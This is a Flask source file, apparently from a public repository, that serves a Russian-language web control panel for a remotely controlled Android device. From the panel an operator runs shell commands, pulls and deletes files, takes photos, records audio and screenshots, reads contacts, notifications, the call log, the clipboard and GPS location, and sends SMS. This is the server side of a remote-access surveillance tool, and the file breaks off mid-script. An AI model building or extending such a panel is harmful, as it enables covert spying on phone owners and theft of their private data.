Contrem2 / app.py
Aleksmorshen's picture
Update app.py
e617494 verified
from flask import Flask, request, render_template_string, jsonify, send_from_directory, url_for, abort
import os
import datetime
import uuid
import werkzeug.utils
import json
import mimetypes
# Увеличение лимита на типы для mimetypes
mimetypes.init()
mimetypes.add_type('audio/mpeg', '.mp3')
mimetypes.add_type('video/mp4', '.mp4')
mimetypes.add_type('video/webm', '.webm')
mimetypes.add_type('text/plain', '.log')
mimetypes.add_type('text/css', '.css')
mimetypes.add_type('application/json', '.json')
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = 'uploads_from_client'
app.config['FILES_TO_CLIENT_FOLDER'] = 'uploads_to_client'
app.config['PREVIEW_FOLDER'] = 'previews_from_client'
os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)
os.makedirs(app.config['FILES_TO_CLIENT_FOLDER'], exist_ok=True)
os.makedirs(app.config['PREVIEW_FOLDER'], exist_ok=True)
pending_command = None
command_output = "Ожидание команд..."
last_client_heartbeat = None
current_client_path = "~"
device_status_info = {}
notifications_history = []
contacts_list = []
HTML_TEMPLATE = """
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>ПУ Android</title>
<style>
body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; flex-direction: column; min-height: 100vh; font-size: 16px; -webkit-text-size-adjust: 100%; }
header { background-color: #333; color: white; padding: 10px 15px; display: flex; align-items: center; box-shadow: 0 2px 5px rgba(0,0,0,0.2); position: fixed; top: 0; left: 0; width: 100%; z-index: 1001;}
.menu-toggle { font-size: 1.5em; background: none; border: none; color: white; cursor: pointer; margin-right: 15px; padding: 5px; }
header h1 { font-size: 1.2em; margin: 0; flex-grow: 1; text-align: center; }
.main-container { display: flex; flex-grow: 1; overflow: hidden; margin-top: 50px; }
.sidebar { width: 250px; background-color: #3f3f3f; color: white; padding: 15px; box-sizing: border-box; display: flex; flex-direction: column; transform: translateX(-100%); transition: transform 0.3s ease-in-out; position: fixed; top: 0; left: 0; height: 100vh; z-index: 1000; overflow-y: auto; padding-top: 60px; }
.sidebar.open { transform: translateX(0); box-shadow: 3px 0 6px rgba(0,0,0,0.2); }
.sidebar h2 { margin-top: 0px; font-size: 1.1em; border-bottom: 1px solid #555; padding-bottom: 10px; }
.sidebar ul { list-style: none; padding: 0; margin: 0; }
.sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 12px 10px; border-radius: 4px; margin-bottom: 5px; font-size:0.95em; }
.sidebar ul li a:hover, .sidebar ul li a.active { background-color: #555; color: white; }
.content-overlay { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 999; }
.content-overlay.active { display: block; }
.content { flex-grow: 1; padding: 15px; box-sizing: border-box; overflow-y: auto; }
.container { background-color: #fff; padding: 15px; border-radius: 8px; box-shadow: 0 1px 3px rgba(0,0,0,0.1); margin-bottom:15px; }
.control-section { margin-bottom: 15px; padding: 10px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
label { display: block; margin-bottom: 6px; font-weight: bold; color: #555; font-size: 0.9em; }
input[type="text"], textarea, input[type="file"] { width: calc(100% - 22px); padding: 10px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; font-size: 1em; }
button { padding: 10px 15px; background-color: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 0.9em; margin-right: 5px; margin-bottom: 8px; display: inline-block; }
button:hover { background-color: #0056b3; }
pre { background-color: #282c34; color: #abb2bf; padding: 10px; border-radius: 4px; white-space: pre-wrap; word-wrap: break-word; max-height: 400px; overflow-y: auto; font-family: 'Courier New', Courier, monospace; font-size: 0.85em; }
.status { padding: 10px; border-radius: 4px; margin-bottom:10px; font-weight: bold; font-size: 0.9em; }
.status.online { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
.status.offline { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
.file-browser ul { list-style: none; padding: 0; }
.file-browser li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; flex-wrap: wrap; justify-content: space-between; align-items: center; }
.file-browser li .file-name-container { flex-grow: 1; margin-right: 10px; word-break: break-all; }
.file-browser li .file-actions button { margin-left: 5px; padding: 4px 8px; font-size:0.8em; }
.file-browser li:last-child { border-bottom: none; }
.file-browser a { text-decoration: none; color: #007bff; }
.file-browser a:hover { text-decoration: underline; }
.file-icon { margin-right: 8px; }
.file-browser .dir a { font-weight: bold; }
.file-browser .preview-btn, .file-browser .zip-btn { background-color: #ffc107; color: #333; }
.file-browser .download-btn { background-color: #28a745; }
.file-browser .delete-btn { background-color: #dc3545; }
.preview-modal {
display: none; position: fixed; z-index: 2000; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgba(0,0,0,0.9);
}
.preview-content {
margin: auto; display: block; width: 80%; max-width: 900px; max-height: 90%; position: relative; top: 50%; transform: translateY(-50%); background: #fff; border-radius: 8px; padding: 20px;
}
.preview-content pre, .preview-content img, .preview-content video, .preview-content audio {
display: block; width: 100%; height: auto; max-height: 70vh; margin: 10px 0; object-fit: contain;
}
.preview-content pre {
background-color: #1e1e1e; color: #d4d4d4; max-height: 65vh; overflow-y: scroll; padding: 15px; white-space: pre-wrap; word-break: break-all;
}
.close-btn { color: #aaa; float: right; font-size: 28px; font-weight: bold; }
.close-btn:hover, .close-btn:focus { color: #fff; text-decoration: none; cursor: pointer; }
.preview-actions { text-align: center; margin-top: 15px; }
@media (min-width: 768px) {
header { display: none; }
.sidebar { transform: translateX(0); position: static; height: 100vh; box-shadow: none; padding-top: 15px; }
.main-container { margin-top: 0; }
.content-overlay { display: none !important; }
}
</style>
<script>
let currentView = 'dashboard';
function toggleMenu() {
document.querySelector('.sidebar').classList.toggle('open');
document.querySelector('.content-overlay').classList.toggle('active');
}
function showSection(sectionId) {
document.querySelectorAll('.content > div.container').forEach(div => div.style.display = 'none');
document.getElementById(sectionId).style.display = 'block';
document.querySelectorAll('.sidebar a').forEach(a => a.classList.remove('active'));
const activeLink = document.querySelector(`.sidebar a[href="#${sectionId}"]`);
if (activeLink) activeLink.classList.add('active');
currentView = sectionId;
if (window.innerWidth < 768 && document.querySelector('.sidebar').classList.contains('open')) {
toggleMenu();
}
if (sectionId === 'files') refreshClientPathDisplay();
if (sectionId === 'uploads') refreshServerUploads();
refreshOutput();
}
function formatBytes(bytes, decimals = 2) {
if (bytes === 0) return '0 Bytes';
const k = 1024;
const dm = decimals < 0 ? 0 : decimals;
const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
const i = Math.floor(Math.log(bytes) / Math.log(k));
return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i];
}
async function refreshServerUploads() {
try {
const response = await fetch('/list_uploaded_files');
const data = await response.json();
const fileListUl = document.getElementById('serverUploadedFiles');
fileListUl.innerHTML = '';
if (data.files && data.files.length > 0) {
data.files.forEach(file => {
const li = document.createElement('li');
const infoDiv = document.createElement('div');
infoDiv.className = 'file-info';
const link = document.createElement('a');
link.href = '/uploads_from_client/' + encodeURIComponent(file.name);
link.textContent = file.name;
link.target = '_blank';
infoDiv.appendChild(link);
const metaSpan = document.createElement('span');
metaSpan.className = 'file-meta';
const date = new Date(file.mtime * 1000).toLocaleString();
metaSpan.textContent = `${formatBytes(file.size)} - ${date}`;
infoDiv.appendChild(metaSpan);
li.appendChild(infoDiv);
const actionsDiv = document.createElement('div');
actionsDiv.className = 'file-actions';
const downloadBtn = document.createElement('button');
downloadBtn.textContent = 'Скачать';
downloadBtn.title = 'Скачать';
downloadBtn.className = 'download-btn';
downloadBtn.onclick = () => window.open('/uploads_from_client/' + encodeURIComponent(file.name), '_blank');
actionsDiv.appendChild(downloadBtn);
const deleteBtn = document.createElement('button');
deleteBtn.textContent = '❌';
deleteBtn.title = 'Удалить';
deleteBtn.className = 'delete-btn';
deleteBtn.onclick = () => deleteUploadedFile(file.name);
actionsDiv.appendChild(deleteBtn);
li.appendChild(actionsDiv);
fileListUl.appendChild(li);
});
} else {
fileListUl.innerHTML = '<li>Нет загруженных файлов с клиента.</li>';
}
} catch(e) {
document.getElementById('serverUploadedFiles').innerHTML = '<li>Ошибка загрузки списка файлов.</li>';
}
}
async function deleteUploadedFile(filename) {
if (!confirm(`Вы уверены, что хотите удалить файл "${filename}" с сервера?`)) return;
try {
const response = await fetch('/delete_uploaded_file/' + encodeURIComponent(filename), {
method: 'POST'
});
const result = await response.json();
if(result.status === 'success') {
refreshServerUploads();
} else {
alert('Ошибка удаления файла: ' + result.message);
}
} catch(e) {
alert('Сетевая ошибка при удалении файла.');
}
}
async function refreshOutput() {
try {
const response = await fetch('/get_status_output');
const data = await response.json();
if (data.output && (currentView !== 'device_status' && currentView !== 'notifications' && currentView !== 'contacts')) {
document.getElementById('outputArea').innerText = data.output;
}
if (data.last_heartbeat) {
const statusDiv = document.getElementById('clientStatus');
const lastBeat = new Date(data.last_heartbeat);
const now = new Date();
const diffSeconds = (now - lastBeat) / 1000;
if (diffSeconds < 45) {
statusDiv.className = 'status online';
statusDiv.innerText = 'Клиент ОНЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')';
} else {
statusDiv.className = 'status offline';
statusDiv.innerText = 'Клиент ОФФЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')';
}
} else {
document.getElementById('clientStatus').className = 'status offline';
document.getElementById('clientStatus').innerText = 'Клиент ОФФЛАЙН';
}
if (data.current_path && currentView === 'files') {
document.getElementById('currentPathDisplay').innerText = data.current_path;
if (data.output && data.output.startsWith("Содержимое") ) {
renderFileList(data.output, data.current_path);
} else if (data.output && currentView === 'files') {
document.getElementById('fileList').innerHTML = `<li>${data.output.replace(/\\n/g, '<br>')}</li>`;
}
}
if (data.device_status && currentView === 'device_status') {
updateDeviceStatusDisplay(data.device_status);
}
if (data.notifications && currentView === 'notifications') {
renderNotifications(data.notifications);
}
if (data.contacts && currentView === 'contacts') {
renderContacts(data.contacts);
}
if (data.preview_file) {
showPreviewModal(data.preview_file, data.preview_mimetype);
}
} catch (error) {
console.error("Error refreshing data:", error);
if (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils' || currentView === 'messaging' || currentView === 'system') {
document.getElementById('outputArea').innerText = "Ошибка обновления данных с сервера.";
}
}
}
function updateDeviceStatusDisplay(status) {
document.getElementById('batteryStatus').innerHTML = status.battery ? `<strong>Заряд:</strong> ${status.battery.percentage}% (${status.battery.status}, ${status.battery.health})` : '<strong>Заряд:</strong> Н/Д';
document.getElementById('locationStatus').innerHTML = status.location ? `<strong>Локация:</strong> ${status.location.latitude}, ${status.location.longitude} (Точность: ${status.location.accuracy}м, Скорость: ${status.location.speed} м/с)` : '<strong>Локация:</strong> Н/Д (Запросите для обновления)';
if (status.location && status.location.latitude && status.location.longitude) {
document.getElementById('locationMapLink').innerHTML = `<a href="https://www.google.com/maps?q=${status.location.latitude},${status.location.longitude}" target="_blank">Показать на карте Google</a>`;
} else {
document.getElementById('locationMapLink').innerHTML = '';
}
document.getElementById('processesStatus').innerHTML = status.processes ? `<pre>${status.processes}</pre>` : '<strong>Процессы:</strong> Н/Д (Запросите для обновления)';
}
function renderFileList(lsOutput, currentPath) {
const fileListUl = document.getElementById('fileList');
fileListUl.innerHTML = '';
const lines = lsOutput.split('\\n');
let isRootOrHome = (currentPath === '/' || currentPath === '~' || currentPath === osPathToUserFriendly(currentPath, true));
if (!isRootOrHome) {
const parentLi = document.createElement('li');
parentLi.className = 'dir';
const parentA = document.createElement('a');
parentA.href = '#';
parentA.innerHTML = '<span class="file-icon">🔙</span> .. (Наверх)';
parentA.onclick = (e) => { e.preventDefault(); navigateTo('..'); };
parentLi.appendChild(parentA);
fileListUl.appendChild(parentLi);
}
lines.forEach(line => {
if (line.trim() === '' || line.startsWith("Содержимое")) return;
const parts = line.match(/^(\\[[DF]\\])\\s*(.*)/);
if (!parts) return;
const type = parts[1];
const name = parts[2].trim();
const li = document.createElement('li');
const nameContainer = document.createElement('div');
nameContainer.className = 'file-name-container';
const a = document.createElement('a');
a.href = '#';
const actionsContainer = document.createElement('div');
actionsContainer.className = 'file-actions';
if (type === '[D]') {
li.className = 'dir';
a.innerHTML = `<span class="file-icon">📁</span> ${name}`;
a.onclick = (e) => { e.preventDefault(); navigateTo(name); };
nameContainer.appendChild(a);
const zipBtn = document.createElement('button');
zipBtn.className = 'zip-btn';
zipBtn.textContent = 'ZIP';
zipBtn.title = 'Скачать как ZIP';
zipBtn.onclick = (e) => { e.preventDefault(); requestZipDownload(name); };
actionsContainer.appendChild(zipBtn);
const deleteBtn = document.createElement('button');
deleteBtn.className = 'delete-btn';
deleteBtn.textContent = 'Удалить';
deleteBtn.onclick = (e) => { e.preventDefault(); requestDeleteFile(name); };
actionsContainer.appendChild(deleteBtn);
} else {
li.className = 'file';
a.innerHTML = `<span class="file-icon">📄</span> ${name}`;
a.onclick = (e) => { e.preventDefault(); };
nameContainer.appendChild(a);
const previewBtn = document.createElement('button');
previewBtn.className = 'preview-btn';
previewBtn.textContent = '👁️';
previewBtn.title = 'Предпросмотр';
previewBtn.onclick = (e) => { e.preventDefault(); requestPreviewFile(name); };
actionsContainer.appendChild(previewBtn);
const downloadBtn = document.createElement('button');
downloadBtn.className = 'download-btn';
downloadBtn.textContent = 'Скачать';
downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); };
actionsContainer.appendChild(downloadBtn);
const deleteBtn = document.createElement('button');
deleteBtn.className = 'delete-btn';
deleteBtn.textContent = 'Удалить';
deleteBtn.onclick = (e) => { e.preventDefault(); requestDeleteFile(name); };
actionsContainer.appendChild(deleteBtn);
}
li.appendChild(nameContainer);
li.appendChild(actionsContainer);
fileListUl.appendChild(li);
});
}
function showPreviewModal(filename, mimetype) {
const modal = document.getElementById('previewModal');
const contentDiv = document.getElementById('previewContent');
const titleSpan = document.getElementById('previewTitle');
const actionsDiv = document.getElementById('previewActions');
titleSpan.innerText = filename;
contentDiv.innerHTML = '';
actionsDiv.innerHTML = `<button class="download-btn" onclick="window.open('/preview_content/${filename}', '_blank')">Скачать</button>`;
const url = '/preview_content/' + encodeURIComponent(filename);
if (mimetype.startsWith('image/')) {
contentDiv.innerHTML = `<img src="${url}" alt="${filename}">`;
} else if (mimetype.startsWith('video/')) {
contentDiv.innerHTML = `<video controls src="${url}"></video>`;
} else if (mimetype.startsWith('audio/')) {
contentDiv.innerHTML = `<audio controls src="${url}"></audio>`;
} else if (mimetype.startsWith('text/')) {
fetch(url)
.then(response => {
if (response.ok) return response.text();
throw new Error('Failed to load text content');
})
.then(text => {
contentDiv.innerHTML = `<pre>${text}</pre>`;
})
.catch(error => {
contentDiv.innerHTML = `<p>Ошибка загрузки текстового файла: ${error.message}</p>`;
});
} else {
contentDiv.innerHTML = `<p>Формат файла (${mimetype}) не поддерживается для предпросмотра. Нажмите "Скачать" для сохранения.</p>`;
}
modal.style.display = 'block';
const closeBtn = document.querySelector('.preview-modal .close-btn');
closeBtn.onclick = () => {
modal.style.display = 'none';
clearPreviewFile(filename);
};
window.onclick = (event) => {
if (event.target == modal) {
modal.style.display = 'none';
clearPreviewFile(filename);
}
};
}
async function clearPreviewFile(filename) {
try {
const response = await fetch('/clear_preview_file/' + encodeURIComponent(filename), {
method: 'POST'
});
const result = await response.json();
if(result.status !== 'success') {
console.error('Ошибка очистки файла предпросмотра:', result.message);
}
} catch(e) {
console.error('Сетевая ошибка при очистке файла предпросмотра.');
}
}
function renderNotifications(notifications) {
const notificationListDiv = document.getElementById('notificationList');
notificationListDiv.innerHTML = '';
if (notifications && notifications.length > 0) {
notifications.forEach(n => {
const itemDiv = document.createElement('div');
itemDiv.className = 'notification-item';
itemDiv.innerHTML = `
<strong>${n.title || 'Без заголовка'}</strong>
<span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
<span><strong>Когда:</strong> ${n.when ? new Date(n.when).toLocaleString() : 'N/A'}</span>
<p>${n.content || 'Нет содержимого'}</p>
`;
notificationListDiv.appendChild(itemDiv);
});
} else {
notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения.</p>';
}
}
function renderContacts(contacts) {
const contactListDiv = document.getElementById('contactList');
contactListDiv.innerHTML = '';
if (contacts && contacts.length > 0) {
contacts.forEach(c => {
const itemDiv = document.createElement('div');
itemDiv.className = 'contact-item';
let numbersHtml = '';
if (c.numbers && c.numbers.length > 0) {
c.numbers.forEach(num => {
numbersHtml += `<span class="contact-number">${num}</span>`;
});
} else {
numbersHtml = '<span>Нет номеров</span>';
}
itemDiv.innerHTML = `
<strong>${c.name || 'Без имени'}</strong>
${numbersHtml}
`;
contactListDiv.appendChild(itemDiv);
});
} else {
contactListDiv.innerHTML = '<p>Список контактов пуст или не удалось его получить.</p>';
}
}
async function sendGenericCommand(payload) {
try {
document.getElementById('outputArea').innerText = "Отправка команды...";
const response = await fetch('/send_command', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
});
if (!response.ok) {
console.error("Server error sending command");
document.getElementById('outputArea').innerText = "Ошибка сервера при отправке команды.";
}
} catch (error) {
console.error("Network error sending command:", error);
document.getElementById('outputArea').innerText = "Сетевая ошибка при отправке команды.";
}
}
function navigateTo(itemName) {
sendGenericCommand({ command_type: 'list_files', path: itemName });
if (currentView === 'files') {
document.getElementById('fileList').innerHTML = '<li>Загрузка...</li>';
}
}
function requestDownloadFile(filename) {
sendGenericCommand({ command_type: 'request_download_file', filename: filename });
showSection('dashboard');
document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
}
function requestPreviewFile(filename) {
sendGenericCommand({ command_type: 'request_preview_file', filename: filename });
showSection('dashboard');
document.getElementById('outputArea').innerText = `Запрос на предпросмотр файла ${filename}... Ожидайте модального окна.`;
}
function requestZipDownload(dirname) {
sendGenericCommand({ command_type: 'zip_and_upload_dir', path: dirname });
showSection('dashboard');
document.getElementById('outputArea').innerText = `Запрос на архивацию и скачивание директории ${dirname}... Это может занять время. Ожидайте появления ZIP-архива в разделе "Загрузки с клиента".`;
}
function requestDeleteFile(filename) {
if (confirm(`Вы уверены, что хотите удалить "${filename}" с устройства клиента? Это действие необратимо.`)) {
sendGenericCommand({ command_type: 'delete_file', filename: filename });
}
}
function refreshClientPathDisplay(){
if (document.getElementById('currentPathDisplay')) {
fetch('/get_status_output').then(r=>r.json()).then(data => {
if(data.current_path) document.getElementById('currentPathDisplay').innerText = data.current_path;
});
}
}
window.onload = () => {
showSection('dashboard');
setInterval(refreshOutput, 4000);
refreshOutput();
document.querySelector('.menu-toggle').addEventListener('click', toggleMenu);
document.querySelector('.content-overlay').addEventListener('click', toggleMenu);
};
function submitShellCommand(event) {
event.preventDefault();
const command = document.getElementById('command_str').value;
sendGenericCommand({ command_type: 'shell', command: command });
document.getElementById('command_str').value = '';
}
function submitMediaCommand(type, paramName, paramValueId) {
let payload = { command_type: type };
if (paramName && paramValueId) {
const value = document.getElementById(paramValueId).value;
if (value) payload[paramName] = value;
}
sendGenericCommand(payload);
}
async function handleUploadToServer(event) {
event.preventDefault();
const fileInput = document.getElementById('fileToUploadToDevice');
const targetPathInput = document.getElementById('targetDevicePath');
if (!fileInput.files[0]) {
alert("Пожалуйста, выберите файл для загрузки.");
return;
}
if (!targetPathInput.value) {
alert("Пожалуйста, укажите путь на устройстве.");
return;
}
const formData = new FormData();
formData.append('file_to_device', fileInput.files[0]);
formData.append('target_path_on_device', targetPathInput.value);
document.getElementById('uploadToDeviceStatus').innerText = 'Загрузка файла на сервер...';
try {
const response = await fetch('/upload_to_server_for_client', {
method: 'POST',
body: formData
});
const result = await response.json();
if (result.status === 'success') {
document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename;
sendGenericCommand({
command_type: 'receive_file',
server_filename: result.server_filename,
target_path_on_device: result.target_path_on_device
});
} else {
document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message;
}
} catch (error) {
document.getElementById('uploadToDeviceStatus').innerText = 'Сетевая ошибка при загрузке файла на сервер: ' + error;
}
}
function getClipboard() { sendGenericCommand({ command_type: 'clipboard_get' }); }
function setClipboard() {
const text = document.getElementById('clipboardSetText').value;
sendGenericCommand({ command_type: 'clipboard_set', text: text });
}
function openUrlOnDevice() {
const url = document.getElementById('urlToOpen').value;
if (url) { sendGenericCommand({ command_type: 'open_url', url: url }); }
else { alert("Пожалуйста, введите URL."); }
}
function requestDeviceStatus(item = null) {
let payload = { command_type: 'get_device_status' };
if (item) { payload.item = item; }
sendGenericCommand(payload);
}
function requestNotifications() { sendGenericCommand({ command_type: 'get_notifications' }); }
function requestContacts() { sendGenericCommand({ command_type: 'get_contacts' }); }
function getCallLog() { sendGenericCommand({ command_type: 'get_call_log' }); }
function sendSms() {
const number = document.getElementById('smsNumber').value;
const text = document.getElementById('smsText').value;
if (number && text) {
sendGenericCommand({ command_type: 'send_sms', number: number, text: text });
} else { alert("Введите номер и текст SMS."); }
}
function speakText() {
const text = document.getElementById('ttsText').value;
if (text) { sendGenericCommand({ command_type: 'tts_speak', text: text }); }
else { alert("Введите текст для озвучивания."); }
}
function vibrateDevice() {
const duration = document.getElementById('vibrateDuration').value;
sendGenericCommand({ command_type: 'vibrate', duration: duration });
}
function toggleTorch(state) {
sendGenericCommand({ command_type: 'torch', state: state });
}
function getDeviceInfo() { sendGenericCommand({ command_type: 'get_device_info' }); }
function getWifiInfo() { sendGenericCommand({ command_type: 'get_wifi_info' }); }
</script>
</head>
<body>
<header>
<button class="menu-toggle" aria-label="Toggle menu">☰</button>
<h1>ПУ Android</h1>
</header>
<div class="main-container">
<div class="sidebar">
<h2>Меню</h2>
<ul>
<li><a href="#dashboard" onclick="showSection('dashboard')" class="active">Панель</a></li>
<li><a href="#device_status" onclick="showSection('device_status')">Статус устройства</a></li>
<li><a href="#notifications" onclick="showSection('notifications')">Уведомления</a></li>
<li><a href="#contacts" onclick="showSection('contacts')">Контакты</a></li>
<li><a href="#messaging" onclick="showSection('messaging')">Сообщения/Звонки</a></li>
<li><a href="#files" onclick="showSection('files')">Файлы</a></li>
<li><a href="#shell" onclick="showSection('shell')">Терминал</a></li>
<li><a href="#media" onclick="showSection('media')">Медиа</a></li>
<li><a href="#clipboard" onclick="showSection('clipboard')">Буфер обмена</a></li>
<li><a href="#utils" onclick="showSection('utils')">Утилиты</a></li>
<li><a href="#system" onclick="showSection('system')">Система</a></li>
<li><a href="#uploads" onclick="showSection('uploads')">Загрузки с клиента</a></li>
</ul>
</div>
<div class="content-overlay"></div>
<div class="content">
<div id="clientStatus" class="status offline">Статус клиента неизвестен</div>
<div id="dashboard" class="container">
<h2>Общая информация</h2>
<p>Добро пожаловать в панель управления. Выберите действие из меню слева.</p>
<div class="control-section">
<h3>Вывод последней операции:</h3>
<pre id="outputArea">Ожидание вывода...</pre>
</div>
</div>
<div id="device_status" class="container hidden-section">
<h2>Статус устройства</h2>
<button onclick="requestDeviceStatus()">Обновить все</button>
<div class="control-section">
<h3>Батарея</h3>
<div id="batteryStatus" class="status-item"><strong>Заряд:</strong> Н/Д</div>
<button onclick="requestDeviceStatus('battery')">Обновить батарею</button>
</div>
<div class="control-section">
<h3>Геолокация</h3>
<div id="locationStatus" class="status-item"><strong>Локация:</strong> Н/Д</div>
<div id="locationMapLink" class="status-item"></div>
<button onclick="requestDeviceStatus('location')">Обновить геолокацию</button>
</div>
<div class="control-section">
<h3>Запущенные процессы (пользователя Termux)</h3>
<div id="processesStatus" class="status-item"><strong>Процессы:</strong> Н/Д</div>
<button onclick="requestDeviceStatus('processes')">Обновить процессы</button>
</div>
</div>
<div id="notifications" class="container hidden-section">
<h2>Уведомления устройства</h2>
<button onclick="requestNotifications()">Обновить уведомления</button>
<div class="control-section">
<h3>Список уведомлений:</h3>
<div id="notificationList" class="notification-list"><p>Запросите список уведомлений.</p></div>
</div>
</div>
<div id="contacts" class="container hidden-section">
<h2>Контакты</h2>
<button onclick="requestContacts()">Запросить список контактов</button>
<div class="control-section">
<h3>Список контактов:</h3>
<div id="contactList" class="contact-list"><p>Запросите список контактов.</p></div>
</div>
</div>
<div id="messaging" class="container hidden-section">
<h2>Сообщения и звонки</h2>
<div class="control-section">
<h3>Отправить SMS</h3>
<label for="smsNumber">Номер телефона:</label>
<input type="text" id="smsNumber" placeholder="+79001234567">
<label for="smsText">Текст сообщения:</label>
<textarea id="smsText" rows="3"></textarea>
<button onclick="sendSms()">Отправить SMS</button>
</div>
<div class="control-section">
<h3>Журнал звонков</h3>
<button onclick="getCallLog()">Получить журнал звонков</button>
</div>
<div class="control-section" style="margin-top:20px;">
<h3>Результат операции:</h3>
<pre id="outputAreaMessagingCopy"></pre>
</div>
</div>
<div id="files" class="container hidden-section">
<h2>Файловый менеджер (Клиент)</h2>
<p>Текущий путь на клиенте: <strong id="currentPathDisplay">~</strong></p>
<button onclick="navigateTo('~')">Дом (~)</button>
<button onclick="navigateTo('/sdcard/')">Память</button>
<input type="text" id="customPathInput" placeholder="/sdcard/Download" style="width:auto; display:inline-block; margin-left:0px; margin-right:5px; max-width: 150px;">
<button onclick="navigateTo(document.getElementById('customPathInput').value)">Перейти</button>
<div class="file-browser control-section">
<h3>Содержимое директории:</h3>
<ul id="fileList"><li>Запросите содержимое директории.</li></ul>
</div>
<div class="control-section">
<h3>Загрузить файл НА устройство</h3>
<form id="uploadForm" onsubmit="handleUploadToServer(event)">
<label for="fileToUploadToDevice">Выберите файл:</label>
<input type="file" id="fileToUploadToDevice" name="file_to_device" required>
<label for="targetDevicePath">Путь для сохранения на устройстве (например, `/sdcard/Download/` или `~/`):</label>
<input type="text" id="targetDevicePath" name="target_path_on_device" value="/sdcard/Download/" required>
<button type="submit">Загрузить</button>
</form>
<p id="uploadToDeviceStatus"></p>
</div>
</div>
<div id="shell" class="container hidden-section">
<h2>Выполнить команду на устройстве</h2>
<form onsubmit="submitShellCommand(event)">
<label for="command_str">Команда (например, `ls -l /sdcard/Download` или `pwd`):</label>
<input type="text" id="command_str" name="command_str" required>
<button type="submit">Отправить</button>
</form>
<div class="control-section" style="margin-top:20px;">
<h3>Вывод команды:</h3>
<pre id="outputAreaShellCopy"></pre>
</div>
</div>
<div id="media" class="container hidden-section">
<h2>Мультимедиа</h2>
<div class="control-section">
<button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input')">Сделать фото</button>
<label for="camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
<input type="text" id="camera_id_input" value="0" style="width:50px; display:inline-block;">
</div>
<div class="control-section">
<button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input')">Записать аудио</button>
<label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
<input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
</div>
<div class="control-section">
<button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
</div>
<div class="control-section" style="margin-top:20px;">
<h3>Результат операции:</h3>
<pre id="outputAreaMediaCopy"></pre>
</div>
</div>
<div id="clipboard" class="container hidden-section">
<h2>Буфер обмена</h2>
<div class="control-section"><button onclick="getClipboard()">Получить из буфера</button></div>
<div class="control-section">
<label for="clipboardSetText">Текст для вставки в буфер:</label>
<textarea id="clipboardSetText" rows="3"></textarea>
<button onclick="setClipboard()">Вставить в буфер</button>
</div>
<div class="control-section" style="margin-top:20px;">
<h3>Результат операции с буфером:</h3>
<pre id="outputAreaClipboardCopy"></pre>
</div>
</div>
<div id="utils" class="container hidden-section">
<h2>Утилиты</h2>
<div class="control-section">
<label for="urlToOpen">Открыть URL на устройстве:</label>
<input type="text" id="urlToOpen" placeholder="https://example.com">
<button onclick="openUrlOnDevice()">Открыть URL</button>
</div>
<div class="control-section" style="margin-top:20px;">
<h3>Результат операции:</h3>
<pre id="outputAreaUtilsCopy"></pre>
</div>
</div>
<div id="system" class="container hidden-section">
<h2>Системные функции</h2>
<div class="control-section">
<h3>Синтез речи (TTS)</h3>
<label for="ttsText">Текст для озвучивания:</label>
<textarea id="ttsText" rows="2">Привет, мир!</textarea>
<button onclick="speakText()">Озвучить</button>
</div>
<div class="control-section">
<h3>Вибрация</h3>
<label for="vibrateDuration">Длительность (мс):</label>
<input type="text" id="vibrateDuration" value="1000" style="width:100px;">
<button onclick="vibrateDevice()">Вибрировать</button>
</div>
<div class="control-section">
<h3>Фонарик</h3>
<button onclick="toggleTorch('on')">Включить</button>
<button onclick="toggleTorch('off')">Выключить</button>
</div>
<div class="control-section">
<h3>Информация</h3>
<button onclick="getDeviceInfo()">Информация об устройстве</button>
<button onclick="getWifiInfo()">Информация о Wi-Fi</button>
</div>
<div class="control-section" style="margin-top:20px;">
<h3>Результат операции:</h3>
<pre id="outputAreaSystemCopy"></pre>
</div>
</div>
<div id="uploads" class="container hidden-section">
<h2>Файлы, загруженные С клиента на сервер</h2>
<div class="control-section">
<button onclick="refreshServerUploads()">Обновить список</button>
<ul id="serverUploadedFiles" class="server-file-list"><li>Нет загруженных файлов.</li></ul>
</div>
</div>
</div>
</div>
<div id="previewModal" class="preview-modal">
<div class="preview-content">
<span class="close-btn">&times;</span>
<h3 id="previewTitle">Предпросмотр файла</h3>
<div id="previewContent"></div>
<div id="previewActions" class="preview-actions"></div>
</div>
</div>
<script>
document.addEventListener('DOMContentLoaded', () => {
